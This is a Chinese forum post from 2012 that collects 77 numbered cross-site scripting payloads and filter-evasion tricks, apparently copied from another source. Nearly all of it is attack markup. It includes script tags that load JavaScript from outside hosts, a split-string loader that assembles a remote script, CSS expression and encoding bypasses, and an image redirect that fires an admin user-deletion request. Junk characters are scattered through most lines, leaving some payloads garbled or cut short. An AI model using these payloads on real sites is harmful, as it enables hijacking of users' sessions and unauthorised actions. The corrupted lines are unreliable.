找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3563|回复: 0
打印 上一主题 下一主题

xss跨站脚本攻击汇总

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-5 14:56:34 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
貌似关于xss的资料t00ls比较少,看见好东西Copy过来,不知道有木有童鞋需要Mark的。
7 K& ~& ^* I1 `- ?1 Q/ F* j  e& S* Z9 b7 H( E
(1)普通的XSS JavaScript注入' ]8 b$ c/ u$ |/ N! {
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>9 K$ B/ G  C- s) H) I) ], n9 B

) W5 }% W$ a3 w+ p. u (2)IMG标签XSS使用JavaScript命令/ B+ t$ N3 U  e) X8 d8 a
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
; _6 J* m/ l4 d  [+ {8 F/ r7 E5 w' m& n, F4 q3 x+ k- Z
(3)IMG标签无分号无引号
8 U( u  V1 D* N) a9 e3 l0 m6 w  Q4 z <IMG SRC=javascript:alert(‘XSS’)>
" Z% `6 W% L- d/ y
9 u" l; j( T5 J9 D6 u4 [ (4)IMG标签大小写不敏感
" V& _( k9 {2 b. J9 Z <IMG SRC=JaVaScRiPt:alert(‘XSS’)>
: }+ T7 n. ?7 G: F5 W( |$ K0 p2 s( P+ m, O: @
(5)HTML编码(必须有分号)
9 E6 Y) Y, C; n' C8 V; I. V <IMG SRC=javascript:alert(“XSS”)>
- ^$ Y6 U$ ?" c7 E" c" v. w/ }5 ]5 n* I' x
(6)修正缺陷IMG标签( E* c% B+ N$ q0 D
<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>6 [7 K' A% L& P2 s: [/ d! m

; A  G- j9 k7 O (7)formCharCode标签(计算器)
, b( i4 |* e. Y <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
( S6 S  J: R  H% \: _# Z" q) R0 [. w  P5 r$ S+ L
(8)UTF-8的Unicode编码(计算器)
2 |3 O6 a2 a: _ <IMG SRC=jav..省略..S')>' D6 w# \9 _' \9 x' U0 @

7 ?3 X) B- ]/ N* ?2 x (9)7位的UTF-8的Unicode编码是没有分号的(计算器)0 z1 T$ q0 T. x& R: J6 L5 Z3 {
<IMG SRC=jav..省略..S')>1 Y5 C2 j/ J* E& _

# o5 S4 c7 C9 \) I& O (10)十六进制编码也是没有分号(计算器)" {2 |% |9 N1 j+ z4 Q6 ^3 ]
<IMG SRC=&#x6A&#x61&#x76&#x61..省略..&#x58&#x53&#x53&#x27&#x29>
2 ^, O2 f7 g5 D2 Q) R) h& V. r9 Z" p
7 Z" `5 Q, Q, N" e* ] (11)嵌入式标签,将Javascript分开
. G' P/ S0 m+ z$ v- q  n' k8 N( W <IMG SRC=”jav ascript:alert(‘XSS’);”>
  u/ z* m3 F, Y- N# I6 `) i8 Y* R- U
(12)嵌入式编码标签,将Javascript分开  x0 [- |5 I, o5 h/ n) j, }9 K
<IMG SRC=”jav ascript:alert(‘XSS’);”>
9 ^# C6 @! ~/ j' ?: _+ |
) b, N) \( ^+ R  I/ a6 W$ B (13)嵌入式换行符
( q6 N, v. o+ e' E5 |' T <IMG SRC=”jav ascript:alert(‘XSS’);”>
/ T* I1 \5 E( J: C0 ~( D. s; t1 A/ I' I! m
(14)嵌入式回车
! C2 e& v! g; W7 C) c1 ^ <IMG SRC=”jav ascript:alert(‘XSS’);”>
! L" A$ g( i* F; {; S0 Z3 D- J9 _6 e& c  G
(15)嵌入式多行注入JavaScript,这是XSS极端的例子" b$ |. n( y3 G8 L8 ^1 j) N
<IMG SRC=”javascript:alert(‘XSS‘)”>2 I6 q, q2 h) K& }. Q8 m6 g

; w; Q# J; I& b) G! N (16)解决限制字符(要求同页面)4 _0 _3 n; C/ |
<script>z=’document.’</script>
& T$ }6 z# ]( A4 \4 O5 b <script>z=z+’write(“‘</script>7 H# e* V- g0 y" ?
<script>z=z+’<script’</script>9 b& A' ^  A4 K+ `" Z
<script>z=z+’ src=ht’</script>
6 Q8 x; U3 k0 Z. A; b9 u  |' W$ @8 t/ V <script>z=z+’tp://ww’</script>
: I0 c) ~6 j. Z+ Y; P& t <script>z=z+’w.shell’</script>+ f% B7 J7 d6 I7 t. q
<script>z=z+’.net/1.’</script>1 b  c; W0 b3 E" _- h% F
<script>z=z+’js></sc’</script>5 y# X$ o6 t- k* v7 u
<script>z=z+’ript>”)’</script>
; l3 J) ^7 i3 |3 F# P) E <script>eval_r(z)</script>& K) l; s( @8 K" r$ M: g  b* z6 l

3 M9 k* E- ^$ I. `2 L/ k2 t% r: P (17)空字符8 ~5 M7 {) P6 F3 i+ U0 ?
perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out
- K4 e* D/ n; Z: ~
5 c$ X8 ?1 X& c$ u# J3 `& U% y. r (18)空字符2,空字符在国内基本没效果.因为没有地方可以利用
* f$ L' p. {8 k9 {& i perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out
4 g, I# W0 W9 M$ {. {9 ]% e6 ?5 ?! v  P, F+ F9 l
(19)Spaces和meta前的IMG标签
! L; Z* ]1 j$ F$ _ <IMG SRC=”   javascript:alert(‘XSS’);”>
) O' Y; a2 J! K. B, r4 o+ V1 b$ ?, X  V- K& W
(20)Non-alpha-non-digit XSS
; {0 b) C( x$ Z2 a8 j+ z) d: _ <SCRIPT/XSS SRC=”http://3w.org/XSS/xss.js”></SCRIPT>5 q! ~& V# L  ~, i% f; ^/ u
$ i( B4 b! X+ {* b4 p- {* b
(21)Non-alpha-non-digit XSS to 2% }6 \% a! U/ @( U; h0 Y9 N9 C+ u4 D' L
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>
  B1 S! j6 k- K% ^7 Y+ E  Q4 \5 A) r, f- p6 o1 J
(22)Non-alpha-non-digit XSS to 3
; G1 a6 v2 u5 ^( \4 S <SCRIPT/SRC=”http://3w.org/XSS/xss.js”></SCRIPT>
* b1 d" Z; H3 Y4 R
* ~2 m( E6 \2 `4 K! @8 ?: Y (23)双开括号
! Q6 j# o# @8 z8 {, g <<SCRIPT>alert(“XSS”);//<</SCRIPT>& _% k4 \1 }, k( v/ s

) U' }9 O2 n7 P5 @# B8 l8 [# W" z3 } (24)无结束脚本标记(仅火狐等浏览器), X, `  x4 T6 |
<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>
& |" a' [% G# |1 i
$ ?/ j7 n4 J/ \% k' ^* q (25)无结束脚本标记2! V+ L& M- s- F& @5 }" D4 @; |4 W3 v
<SCRIPT SRC=//3w.org/XSS/xss.js>
  R  T, @8 ]' t" U
( H8 G9 }5 d6 M; p (26)半开的HTML/JavaScript XSS
( z. o. S7 `. I, \7 L <IMG SRC=”javascript:alert(‘XSS’)”
! t" `9 j6 @4 |. T# f/ o/ b% X  h! U0 D. v( n7 X2 q  F  v2 T
(27)双开角括号
# s# N3 E. k! M <iframe src=http://3w.org/XSS.html <3 d) u4 ?# t# v& |$ S! r- [

! F: _# C0 c2 A8 j/ U- E (28)无单引号 双引号 分号7 c( u0 k: |! _; P: J
<SCRIPT>a=/XSS/7 l# \6 x/ G0 c, r, ~* ^
alert(a.source)</SCRIPT>
* w2 P3 x, ]' H) Z2 F  u; O
0 m3 H; N* X8 b7 h. O$ U (29)换码过滤的JavaScript
8 f5 r, t9 h  z \”;alert(‘XSS’);//
; P- b- q0 m2 p- Z0 j+ w7 M; d5 `! _: z5 j* W5 u2 t4 T! y! R4 U
(30)结束Title标签2 z/ v$ r; k7 ^& F
</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>
) I  x7 h. Z+ B* M
3 t1 L$ t9 n0 e# f( k (31)Input Image/ i" @/ ]: a0 ?& E9 z
<INPUT SRC=”javascript:alert(‘XSS’);”>& B5 k5 b9 _9 h+ Y7 A

, s; E, u* ~7 O3 c (32)BODY Image6 N, G. q) A7 y9 {$ P  K
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>( \0 h8 W/ _! a1 u* |/ r. J
2 O1 t! \, z7 T; ]  g
(33)BODY标签3 `, @7 J; V' @, _5 d4 y
<BODY(‘XSS’)>& X& a7 N4 X" j  A+ s) d

# P& v# E& j: q9 J( m6 n (34)IMG Dynsrc0 D2 {+ w4 n* e( S7 m
<IMG DYNSRC=”javascript:alert(‘XSS’)”>' x; [  K) d' j8 y! g

# P9 [: f8 t, m) e (35)IMG Lowsrc
# @/ N5 e4 h6 C. u  S$ Y <IMG LOWSRC=”javascript:alert(‘XSS’)”>" {+ O3 ]# p+ o9 k3 V7 [: Y% N% t9 E

* D& r# D! Q; L0 F (36)BGSOUND
! y* [3 M  Y8 @, P; k' ^ <BGSOUND SRC=”javascript:alert(‘XSS’);”>
; H. x: b8 q7 G6 C. r8 p" M' S# [" B# J0 U- ]+ c- l" b( F4 _
(37)STYLE sheet
! z+ w, N7 E6 q# | <LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>' }- _8 h3 o( f0 L! x) H# K! u3 u

5 T6 v' o2 m1 A* g2 V0 M8 s (38)远程样式表, r2 l' s) d% v1 [
<LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>
9 U6 Y% w+ y0 d* `; L
; l6 ^3 j) W) n- L6 H0 X+ O6 v) n (39)List-style-image(列表式)
' Q) x7 e# r8 u2 ~" H <STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS
- b# x4 f& O) H* q; p% a$ a3 X4 n: z; ]5 d6 X* _7 _- ]- M* l  c3 D
(40)IMG VBscript
$ w4 l( U+ d  a0 Z6 Q2 t <IMG SRC=’vbscript:msgbox(“XSS”)’></STYLE><UL><LI>XSS
' p5 I( p% x& N8 C
; _' a3 m0 d" y) V/ u0 A5 B. ~ (41)META链接url* J8 v8 I* o1 D1 D
<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>
6 E0 m  n7 N6 s2 e2 H' y! _
9 n" Y' Y8 o; R& n+ N (42)Iframe( m% P" f9 R0 e1 q% v
<IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME>
1 {' E$ [0 y% a4 O* g4 _, h( _, A, ]1 @8 s+ R
(43)Frame
  G$ e& H7 J) c/ u  w+ g9 G. M <FRAMESET><FRAME SRC=”javascript:alert(‘XSS’);”></FRAMESET>6 F( o; W, J5 {. Y1 }3 s6 x' x
. j4 e# C4 O3 b8 f1 d7 \
(44)Table2 t3 j4 s2 X: L+ x& R
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>
+ r% V7 Z5 V7 [2 I9 U4 V8 d' T: R  G
(45)TD' L3 R6 c. C& a+ C
<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>
# p* y5 W  p* }8 u, c  u- A
8 ^8 A" k9 s8 }+ n% V (46)DIV background-image4 N! s0 U0 B/ v( a' w* Q
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
0 N4 l! h( u+ k. v- T, G9 O0 h: k" S( F
(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)
% J2 w7 @7 h$ q, l <DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>& S8 q6 r' w. U* _+ `! q* D; J+ y
6 M% ], ^2 B1 k( u. v
(48)DIV expression) v  u& C3 L9 t
<DIV STYLE=”width: expression_r(alert(‘XSS’));”>$ \2 f2 \6 C/ T/ }
7 @/ W# y- G' Z, Q, U, @
(49)STYLE属性分拆表达
4 Y" b, V8 h4 E( _3 H) L+ D <IMG STYLE=”xss:expression_r(alert(‘XSS’))”>' x1 T6 v- U" h; Y6 ]- F: w
- Q; [( J0 t' Q, j3 [
(50)匿名STYLE(组成:开角号和一个字母开头)* I* y( C" }% C4 d4 V
<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>
: i( l) E5 M7 G5 A$ d9 l( z9 m
0 q3 V; B- d) f. `" q; t6 Q1 t (51)STYLE background-image4 I- \/ k$ L/ p
<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>3 O  v9 Y+ h' h0 l* Y% |' a0 M2 f
4 F- f, l7 r% r. `$ f
(52)IMG STYLE方式
- A. ~, T+ f# d8 R5 M exppression(alert(“XSS”))’>8 D+ r- ?, @; P4 p- z; `  v
9 R/ q7 o7 y! V( p$ I
(53)STYLE background
2 k. [+ k7 y4 @1 B% y0 k <STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>
6 h' ~4 G. O9 t, b/ z. W
4 j2 f3 ~4 U4 M" U (54)BASE) ~9 D# C" {3 @
<BASE HREF=”javascript:alert(‘XSS’);//”>  N4 B( }! d7 [

% C8 L+ D7 V) c) o3 ]7 ? (55)EMBED标签,你可以嵌入FLASH,其中包涵XSS- y4 ^2 K) ?8 J/ Y5 N! `2 h+ F
<EMBED SRC=”http://3w.org/XSS/xss.swf” ></EMBED># [1 K: Y0 G4 j3 Z* ?
+ `; T5 \3 ?2 H' l: d
(56)在flash中使用ActionScrpt可以混进你XSS的代码
+ I% E) U2 o/ a( ^- W* c a=”get”;( I# N9 C0 \6 j
b=”URL(\”";
0 q+ c5 e7 J1 V. ~: n- k6 x c=”javascript:”;
; k1 U8 E6 x# C6 F+ v' E6 r) f d=”alert(‘XSS’);\”)”;
7 f( L, i4 g8 P3 b0 R/ V& \$ x eval_r(a+b+c+d);) U- ]( X' G' p" n
1 O6 n! W8 ~3 b- O2 O0 }
(57)XML namespace.HTC文件必须和你的XSS载体在一台服务器上7 P1 M" l* Q1 ]3 F) w
<HTML xmlns:xss>
! W1 i+ E  l9 R/ d  T <?import namespace=”xss” implementation=”http://3w.org/XSS/xss.htc”>
& A: h3 x' C' N <xss:xss>XSS</xss:xss>6 B1 D, o, ^( K0 H. Z" e/ ^  P8 ?
</HTML>& g2 q) I8 Y/ O+ X8 A3 C6 W
0 p- X# O+ ]9 y8 b- W" g8 N
(58)如果过滤了你的JS你可以在图片里添加JS代码来利用7 m+ z! R; i& S# Z1 T- r
<SCRIPT SRC=””></SCRIPT>4 g. R) D: H8 \: f; i7 k: l
; v$ o) j. |! G9 D) }
(59)IMG嵌入式命令,可执行任意命令
' k# `$ W1 O& k% s) C: S <IMG SRC=”http://www.XXX.com/a.php?a=b”>
% I5 Y* Y6 j2 S! z9 S
2 }+ Y1 ~% w4 I4 X) G (60)IMG嵌入式命令(a.jpg在同服务器)5 q+ n2 }0 b* _% r/ L5 v: T
Redirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser
9 w' }$ Y& S/ @% Z7 V/ U& N; j6 k4 y9 Z& s" l( F
(61)绕符号过滤
# O$ {, c3 E! X' H3 \) m <SCRIPT a=”>” SRC=”http://3w.org/xss.js”></SCRIPT>
$ D) U. ?; h+ V" H' g, t) W! Y" Z4 e2 C) Q/ A
(62)* X6 A$ k- L9 Y0 T
<SCRIPT =”>” SRC=”http://3w.org/xss.js”></SCRIPT>' c2 D6 u9 n% K
( x6 t) |# Z0 R6 x8 X6 K
(63)* S' ?& L0 {0 W$ O- E6 H
<SCRIPT a=”>” ” SRC=”http://3w.org/xss.js”></SCRIPT>
1 x3 n4 I+ R% |0 B7 a% q4 Q' \
8 P! X: `5 d5 ]) h6 |$ j+ p0 } (64)
3 X! P. S' {4 p, D6 S <SCRIPT “a=’>’” SRC=”http://3w.org/xss.js”></SCRIPT>, f" Z) J! K9 n
: e5 ^" d5 T4 a- f( q1 T$ |
(65)
: Q# s' y7 v$ t9 n5 [, o. b <SCRIPT a=`>` SRC=”http://3w.org/xss.js”></SCRIPT>
: n6 f# E! A5 O! K2 i  y
( N. c  E4 T7 z% Z (66)# i% a+ y) `" A* r3 g
<SCRIPT a=”>’>” SRC=”http://3w.org/xss.js”></SCRIPT>4 ?3 \; b. T( `: I3 S% {
- B! [$ N2 d4 J1 L, s' E; V
(67), n; T4 n9 h" G/ {& N
<SCRIPT>document.write(“<SCRI”);</SCRIPT>PT SRC=”http://3w.org/xss.js”></SCRIPT>( Q- P! @) K* c" I0 l

$ l0 v6 _9 O! F' X: z (68)URL绕行
0 |- d; j* D, G0 ]! [) l8 m( d <A HREF=”http://127.0.0.1/”>XSS</A>
! h& e8 e' A. Q+ x2 g9 ?) X4 H) g" `) r
(69)URL编码
, p! Z8 Q/ o" K  u. I( G <A HREF=”http://3w.org”>XSS</A>! [- l2 ]) }! L( _
! _! x; U! h5 |1 K9 @- J
(70)IP十进制" o. {, a% ~4 c  H. c
<A HREF=”http://3232235521″>XSS</A>
  f1 r! o" t3 R- c( ^5 D6 Q9 A% R: d5 r/ ]
(71)IP十六进制. Q9 x! O  A8 d& |! `
<A HREF=”http://0xc0.0xa8.0×00.0×01″>XSS</A>' {) `5 ]: b: Z2 ?3 r2 {8 T0 V
0 z2 T( r2 f" y
(72)IP八进制) a/ [- W2 ~6 _% V4 W
<A HREF=”http://0300.0250.0000.0001″>XSS</A>! S% V" O' W% V/ J) h7 z
! u9 ]  J( B, r3 P" \' K  j
(73)混合编码
# \; u4 `5 Z5 F( F1 q, S <A HREF=”h& z  r6 ^# s8 Q% A! A
tt p://6 6.000146.0×7.147/”">XSS</A>0 n, L2 d" i& {3 T* j  _
% [" Y- q4 l* S8 O8 ?0 Q
(74)节省[http:]5 k) P/ G  w& |$ i4 Z$ M2 L. I
<A HREF=”//www.google.com/”>XSS</A>9 a" i' I2 l: b% X3 _& c, |( i+ M2 D

7 r# c5 a/ M+ @; o* }0 \ (75)节省[www]# @' f1 r) q5 c( ~$ `5 @" D1 S
<A HREF=”http://google.com/”>XSS</A>+ T* c- Y; A. Q

7 k& t& ~: N& m: G2 j (76)绝对点绝对DNS" O0 [2 n- \- X0 p) M
<A HREF=”http://www.google.com./”>XSS</A>
+ O& }: Q  P+ o. ^* g7 M0 C- a: z6 \2 Q# n
(77)javascript链接8 O" L, K5 w" ^9 x& D8 W8 ^& m
<A HREF=”javascript:document.location=’http://www.google.com/’”>XSS</A>
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表